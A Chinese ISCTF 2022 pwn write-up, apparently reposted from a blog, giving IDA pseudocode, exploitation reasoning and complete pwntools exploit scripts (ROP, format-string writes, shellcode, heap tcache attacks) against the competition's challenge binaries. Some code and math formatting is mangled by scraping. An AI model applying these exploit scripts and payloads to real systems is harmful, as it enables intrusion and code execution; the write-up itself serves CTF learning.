0


ISCTF PWN WP 2022

前言

题目归档(部分更新)

easy_ret2libc​

IDA 反汇编代码

// main 函数int __cdecl main(int argc,constchar**argv,constchar**envp){char buf[56];// [rsp+0h] [rbp-40h] BYREFconstchar*v5;// [rsp+38h] [rbp-8h]setvbuf(_bss_start,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);
  v5 ="Will you disclose the base address by using printf?";printf("%s","Will you disclose the base address by using printf?");read(0, buf,0x200uLL);printf("Victory is coming");return0;}// gift 函数
ssize_t gift(){char buf[32];// [rsp+0h] [rbp-20h] BYREFreturnread(0, buf,0x100uLL);}

思路分析

第 11 行 read 明显存在栈溢出,且程序没有 canary 保护,故直接控制程序执行流进行以下操作(分别对应 payload1 和 payload2):

  1. 利用 printf 泄漏 printf 的 got 表从而得到 libc 基址,同时进入 gitf 函数再进行一次 payload 输入
  2. 调用 libc 中的 system 函数得到 shell

Exp

from pwn import*

context(log_level='debug', os='linux', arch='amd64')#p = process('./a')
p = remote('120.79.18.34',20809)
elf = ELF('./a')
lib = ELF('./libc-2.27.so')

printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
gift_addr = elf.symbols['gift']
pop_rdi =0x400723
ret_addr =0x40061C

payload1 =b'a'*0x48+ p64(ret_addr)+ p64(pop_rdi)+ p64(printf_got)+ p64(printf_plt)+ p64(gift_addr)

p.sendafter('Will you disclose the base address by using printf?', payload1)

p.recvuntil('Victory is coming')
printf_addr = u64(p.recv(6).ljust(8,b'\x00'))print(hex(printf_addr))
base_addr = printf_addr - lib.symbols['printf']
sys_addr = base_addr + lib.symbols['system']
sh_addr = base_addr +0x1B3D88

payload2 =b'a'*0x28+ p64(pop_rdi)+ p64(sh_addr)+ p64(sys_addr)
sleep(1)

p.send(payload2)

p.interactive()

guess_number

IDA 反汇编代码

// main函数int __cdecl main(int argc,constchar**argv,constchar**envp){int v4;// [rsp+Ch] [rbp-14h] BYREFint v5;// [rsp+10h] [rbp-10h]unsignedint seed;// [rsp+14h] [rbp-Ch]int i;// [rsp+18h] [rbp-8h]int v8;// [rsp+1Ch] [rbp-4h]setvbuf(stdout,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);
  v8 =0;
  seed =time(0LL);srand(seed);puts("Do you want to guess the number in the tense ISCTF competition?");puts("Tell me your name:");read(0,&aC,1uLL);printf("Ok! Are you ready? %s Let's go!\n","c");for( i =0; i <=99;++i ){puts("I will give you a number from 1 to 10000, try to guess it correctly.");
    v5 =rand()%10000+1;printf("Enter your number:");__isoc99_scanf("%5d",&v4);if( v5 == v4 ){puts("congratulations!");++v8;}else{puts("I'm sorry you guessed wrong");}}if( v8 ==100)gift(&cmd);elseputs("You lost the game");return0;}// gift函数int __fastcall gift(constchar*a1){returnsystem(a1);}

思路分析

分析程序可知,通过将当前时间戳作为种子传递给 srand,从而得到伪随机序列,而该完全序列由种子确定,实现时只需要利用相同时间戳得到相同序列即可。此处需注意,时间戳以秒为单位,在程序执行时来得及得到相同的时间戳,故无需绕过或溢出 seed

此外,linux 命令行命令 $0 表示当前脚本的文件名,为system传参 $ 0 即可得到 shell

Exp

from pwn import*from ctypes import*import random
import time

elf = cdll.LoadLibrary('./libc-2.27.so')

context(log_level='debug', arch='amd64', os='linux')

seed =int(time.time())#p = process('./guess_number')
elf.srand(seed)
p = remote('120.79.18.34',20485)

p.send(b'0')for i inrange(0,100):
        p.sendlineafter('Enter your number:',str(elf.rand()%10000+1).encode())
      
p.interactive()

inequable_ret2text

IDA 反汇编代码

// main函数int __cdecl main(int argc,constchar**argv,constchar**envp){char buf[32];// [rsp+10h] [rbp-60h] BYREFchar v5[56];// [rsp+30h] [rbp-40h] BYREFunsigned __int64 v6;// [rsp+68h] [rbp-8h]

  v6 =__readfsqword(0x28u);setvbuf(stdout,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);puts("Do you know how the strlen function stops?");gets(answer);if((int)strlen(answer)<=0){puts("Right on! So do you know what a canary is?");read(0, buf,8uLL);printf(buf);puts("Are you ready? Let's go!");read(0, v5,0x100uLL);}else{puts("Maybe you should go and learn.");}return0;}// gift函数int __fastcall gift(constchar*a1,char*const*a2,char*const*a3){returnexecve(a1, a2, a3);}

思路分析

  1. gets()以\n 为结束标识符,\x00 仍能正常读入,而 strlen()以\x00 作为结束标志,故可在 answer 首位布置\x00,之后写入字符串/bin/sh 同时构造一个符合 execve()函数调用的字符串指针数组
  2. 通过格式化字符串泄漏 canary
  3. 利用 ret2csu 构造三个参数,执行 execve()即可得到 shell

Exp

from pwn import*

context(log_level='debug', os='linux', arch='amd64')#p = process('./inequable_ret2text')
p = remote('120.79.18.34',20920)
elf = ELF('./inequable_ret2text')
sh_addr =0x601098
payload1 =b'\x00'*8+b'/bin/sh'+b'\x00'*9+ p64(sh_addr)
p.sendlineafter('Do you know how the strlen function stops?', payload1)

p.sendafter('Right on! So do you know what a canary is?\n',b'%19$p')

canary =int(p.recv(18),16)

pop_rdi =0x400903
pop_rsi_pop_r15_ret =0x400901
ret =0x400606
mov_rdx_r15 =0x4008E0
excv_addr =0x601040print(hex(canary))

addr1 =0x4008FA
addr2 =0x4008E0

payload =b'a'*0x38+ p64(canary)+ p64(canary)+ p64(ret)+ p64(addr1)+ p64(0)+ p64(0)+ p64(excv_addr)+ p64(sh_addr)+ p64(sh_addr+0x10)+ p64(sh_addr+0x18)+ p64(addr2)

p.sendafter("Are you ready? Let's go!", payload)

p.interactive()

format_string

IDA 反汇编代码

int __cdecl main(int argc,constchar**argv,constchar**envp){
  size_t v3;// rbxdouble buf[15];// [rsp+8h] [rbp-1F8h] BYREFchar format[64];// [rsp+80h] [rbp-180h] BYREFchar s[300];// [rsp+C0h] [rbp-140h] BYREFint i;// [rsp+1ECh] [rbp-14h]setvbuf(stdout,0LL,2,0LL);setvbuf(stdin,0LL,2,0LL);mprotect((void*)((unsigned __int64)&stdout&0xFFFFFFFFFFFFF000LL),0x1000uLL,7);puts("Do you know how to find the position of floating point number?");printf("Tell me your answer: ");read(0, buf,8uLL);if( buf[0]==1.97109){puts("Good. Next, try to rewrite a set of data.");read(0, format,0x100uLL);printf(format);if( check !=197109){puts("I don't think you've figured out the answer yet.");exit(0);}puts("What's wrong with shellcode?");memset(s,0,0x200uLL);read(0, s,0x300uLL);for( i =0;;++i ){
      v3 = i;if( v3 >=strlen(s))break;if( s[i]>122|| s[i]<=47){puts("Your shellcode doesn't seem right");exit(0);}}strcpy(gift, s);(*(void(**)(void))gift)();}else{puts("You were wrong in the first step");}return0;}

思路分析

  1. 浮点数按 16 进制发送
  2. 利用 printf()任意地址写,修改 check
  3. 利用 ae64 构造纯数字字母的 shellcode

Exp

from pwn import*from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')#p = process('./format_string')
p = remote('120.79.18.34',20028)

flt =0x3fff8995aaf78fef

p.sendafter('Tell me your answer: ', p64(flt))

check_addr =0x6010BC

payload1 =b'%197109c%24$naaa'+ p64(check_addr)#payload1 = b'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'#payload1 = b'aaaaaaaa%22s'
p.sendafter('Good. Next, try to rewrite a set of data.', payload1)#shellcode = ''#shellcode += shellcraft.open('./flag')#shellcode += shellcraft.read('rax','rsp',0x100)#shellcode += shellcraft.write(1,'rsp',0x100)
shellcode = asm(shellcraft.sh())

p.sendafter("What's wrong with shellcode?", AE64().encode(shellcode))

p.interactive()

csu

IDA 反汇编代码

int __cdecl main(int argc,constchar**argv,constchar**envp){setbuf(stdin,0LL);setbuf(_bss_start,0LL);mprotect((void*)0x905390786LL,0LL,0);vuln();return0;}

ssize_t vuln(){char buf[80];// [rsp+0h] [rbp-50h] BYREFreturnread(0, buf,0x200uLL);}

思路分析

反汇编后发现存在栈溢出,但是无法进行 libc 泄漏,又发现 mprotect 函数可以修改内存页的权限,故尝试构造 ret2csu 调用 mprotect 修改 bss 段位 rwx,再写入 shellcode 执行。

Exp

from pwn import*

context(log_level='debug', os='linux', arch='amd64')#p = process('./csu')
p = remote('120.79.18.34',20627)
elf = ELF('./csu')#gdb.attach(p, 'b main')#pause()

addr1 =0x4006DA
addr2 =0x4006C0defcsu(rdi, rsi, rdx, rbp, rbx, r12): 
        payload0 = p64(rbx)+ p64(rbp)+ p64(r12)+ p64(rdx)+ p64(rsi)+ p64(rdi)+ p64(addr2)return payload0

ret_addr =0x4006E4
bss_addr =0x600000
payload1 =b'a'*0x58+ p64(addr1)+ csu(bss_addr,0x1000,7,1,0, elf.got['mprotect'])+ p64(addr1)+ csu(0, bss_addr,0x200,1,0, elf.got['read'])+b'a'*0x38+ p64(bss_addr)+b'a'*0xe8

p.send(payload1)

shellcode = asm(shellcraft.sh())

p.sendline(shellcode)

p.interactive()

Candy house

IDA 反汇编代码

代码太长了,只贴关键的 solve 函数

__int64 __fastcall solve(int a1){int i;// [rsp+18h] [rbp-18h]int j;// [rsp+1Ch] [rbp-14h]int k;// [rsp+1Ch] [rbp-14h]int v5;// [rsp+20h] [rbp-10h]int v6;// [rsp+24h] [rbp-Ch]
  _DWORD *v7;// [rsp+28h] [rbp-8h]

  v7 =malloc(4LL*(a1 +5));
  v5 =1;printf("\n\x1B[0;34mThere are %d bags here, \x1B[0m",(unsignedint)a1);for( i =1; i <= a1;++i )
    v7[i]= i;while(!(unsignedint)check(v7,(unsignedint)a1)){puts("\n\x1B[0;34mcandie(s) in bags:\x1B[0m");for( j =1; j <= a1;++j ){printf("%d",(unsignedint)v7[j]);if( j == a1 )putchar(10);elseputchar(32);}printf("\x1B[0;31mYour choice(1-n, 0 to restart): \x1B[0m");
    v6 =readInt();if(!v6 ){puts("\n\x1B[0;32mreseted\x1B[0m");return0LL;}if( v6 >0&& v6 <= a1 ){for( k =1; k <= a1;++k ){if( k != v6 )
          v7[k]+= v5;}++v5;}else{puts("\n\x1B[0;31mInvalid index!\x1B[0m");}}return1LL;}

思路分析

题意:solve 函数构造一个 n 维向量 solve 函数构造一个 n 维向量

     (
    
    
     
      a
     
     
      1
     
    
    
     ,
    
    
     
      a
     
     
      2
     
    
    
     ,
    
    
     .
    
    
     .
    
    
     .
    
    
     ,
    
    
     
      a
     
     
      n
     
    
    
     )
    
   
   
    (a_1, a_2, ... , a_n)
   
  
 (a1​,a2​,...,an​),其中 
 
  
   
    
     
      a
     
     
      i
     
    
    
     =
    
    
     i
    
   
   
    a_i=i
   
  
 ai​=i,读取用户任意次输入,其中第 
 
  
   
    
     j
    
   
   
    j
   
  
 j 次输入 
 
  
   
    
     
      k
     
     
      j
     
    
   
   
    k_j
   
  
 kj​,对所有 
 
  
   
    
     i
    
    
     ≠
    
    
     
      k
     
     
      j
     
    
   
   
    i≠k_j
   
  
 i=kj​,执行 
 
  
   
    
     
      a
     
     
      i
     
    
    
     +
    
    
     j
    
   
   
    a_i+j
   
  
 ai​+j,要求一定次数操作后 n 维向量每项都相等。

思路:其实这也是一个算法题,构造差分数组,对于第

     j
    
   
   
    j
   
  
 j 次输入,输入 
 
  
   
    
     
      k
     
     
      j
     
    
    
     =
    
    
     j
    
    
     +
    
    
     1
    
   
   
    k_j=j+1
   
  
 kj​=j+1,,即可通过 solve。同时这种构造与 rand 出来的随机数无关,只需循环执行 150 次看回显数据即可。

Exp

from pwn import*

context(log_level='debug')#p = process('./candy_house')
p = remote('120.79.18.34',20153)

p.sendline()
p.sendafter(b'Your choice(1-n, 0 to restart): ','2')
p.sendafter(b'Your choice(1-n, 0 to restart): ','3')

recv_str =''
i =2for j inrange(1,150):
        payload =str(i).rjust(8,'0')
        i +=1
        p.send(payload)

p.interactive()

nothing_to_do

IDA 反汇编代码

ssize_t fun(){char buf[32];// [rsp+0h] [rbp-20h] BYREFreturnread(0, buf,0x100uLL);}

思路分析

题目存在明显的栈溢出,但是不知道 libc 版本,也没有泄漏 libc 的途径,在 ctfwiki 上看见类似题目,使用 partial overwrite,先随机覆盖三个半字节,得到下图 libc 版本。

之后计算栈上含有 libc 地址的位置,获取 one_gadget 覆盖低三字节,部分覆盖进行爆破即可。

泄漏远程libc当前版本可用one_gadget

Exp

from pwn import*

context(log_level='debug')

ret_addr =0x4011C1
csu_gadget =0x40124C
pop_rdi =0x401253whileTrue:#在爆破libc时payload如下,图中在i = 0x17f时成功# payload = b'a'*0x20 + p64(ret_addr)*3 + p16(str(i).encode())
        payload=b'a'*0x20+p64(0)+p64(csu_gadget)+p64(0)*4+p64(ret_addr)*16+ p16(0x3afe)+ p8(0xea)try:#p = remote('120.79.18.34', 20557)
                p = process('./nothing_to_do')
                p.send(payload)
                sleep(0.5)
                p.sendline(b'cat flag')
                flag = p.recv()assert(len(flag)>0)print(flag)
                p.interactive()except EOFError:
                p.close()# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.

nc_pwn

bin 目录下有 read,所以可以使用 read 命令,对利用重定向输入流的操作读取 flag 即可。

结果

babycode

IDA 反汇编代码

int __cdecl main(int argc,constchar**argv,constchar**envp){int num;// [rsp+Ch] [rbp-14h] BYREFchar*c;// [rsp+10h] [rbp-10h]unsigned __int64 v6;// [rsp+18h] [rbp-8h]

  v6 =__readfsqword(0x28u);init();sand_box();puts("easy challenge");puts("input a number . honey~");__isoc99_scanf("%d",&num);if( num >=0)bye();
  num =-num;if( num >0)bye();read(0, c,0xAuLL);puts("now enjoy!");read(0, page,0xAuLL);page();return0;}

思路分析

刚开始没给附件,盲注没能成功。

分析反汇编代码知道,此处存在一处整数绕过,发现-2147483648 的相反数仍是-2147483648;接着构造 shellcode,由于字节限制,需要发送两次 shellcode,第一次用于扩大输入字节数。

Exp

from pwn import*

context(log_level='debug', os='linux', arch='amd64')# 构造长度为0xa的shellcode利用rdi, rsi上原来调用read的数据调用read
shellcode2 ='''
mov rdx, 0x80
syscall
nop
'''# 在0x400000+0xa处布置接下来的shellcode,因为禁用execve系统调用,故使用orw
shellcode = shellcode2
shellcode +=f"""
push 0x67616c66
push (2)
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push (40)
pop rax
push 1
pop rdi
cdq
syscall
"""
payload1 = asm(shellcode)

p = remote('120.79.18.34',20971)# p = process('./babycode')
p.sendafter(b'honey~',b'-2147483648')# 取相反数后仍是-2147483648

p.send(b'/bin/sh\x00')# 作为padding即可,随便输入
sleep(1)
p.send(asm(shellcode2))

sleep(1)
p.send(payload1)

null

IDA 反汇编代码

太长了不贴了

思路分析

在函数 edit 内,存在 off by null 漏洞,采用 unsorted bin leak 泄漏 libc,然后利用 Tcache attack 劫持 free_hook,即可 getshell

Exp

from pwn import*

context(log_level='debug')#p = process('./null')
p=remote('120.79.18.34',20254)
libc = ELF('./libc-2.27.so')
main_arena_offset = libc.symbols["__malloc_hook"]+ 0x10u

defcreate(idx, sz):
    p.sendlineafter(b'4.DEL',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size ',str(sz).encode())defedit(idx, content):
    p.sendlineafter(b'4.DEL',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Content: ', content)defshow(idx):
    p.sendlineafter(b'4.DEL',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())defdelete(idx):
    p.sendlineafter(b'4.DEL',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())for i inrange(7):
    create(i,0xf8)
create(7,0xf8)
create(8,0xf8)
create(9,0xf8)
create(10,0xf8)for i inrange(7):
    delete(i)
delete(7)for i inrange(7):
    create(i,0xf8)
    edit(i,b'/bin/sh')
create(7,0x68)

show(7)

p.recvuntil(b'Content: ')
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))print(hex(leak_addr))
libc_base = leak_addr -(main_arena_offset +0x60)-0xf0print(hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']for i inrange(7):
    delete(i)
edit(8,b'a'*0xf0+p64(0x190))
delete(9)for i inrange(7):
    create(i,0xf8)
    edit(i,b'/bin/sh')
delete(8)
create(11,0x88)
create(12,0x68)
edit(12,p64(free_hook_addr))
create(13,0xf8)
create(14,0xf8)
edit(14,p64(sys_addr))
delete(1)
p.interactive()
标签: 网络安全

本文转载自: https://blog.csdn.net/m0_46673577/article/details/127741944
版权归原作者 GeekCmore 所有, 如有侵权,请联系我们删除。

“ISCTF PWN WP 2022”的评论:

还没有评论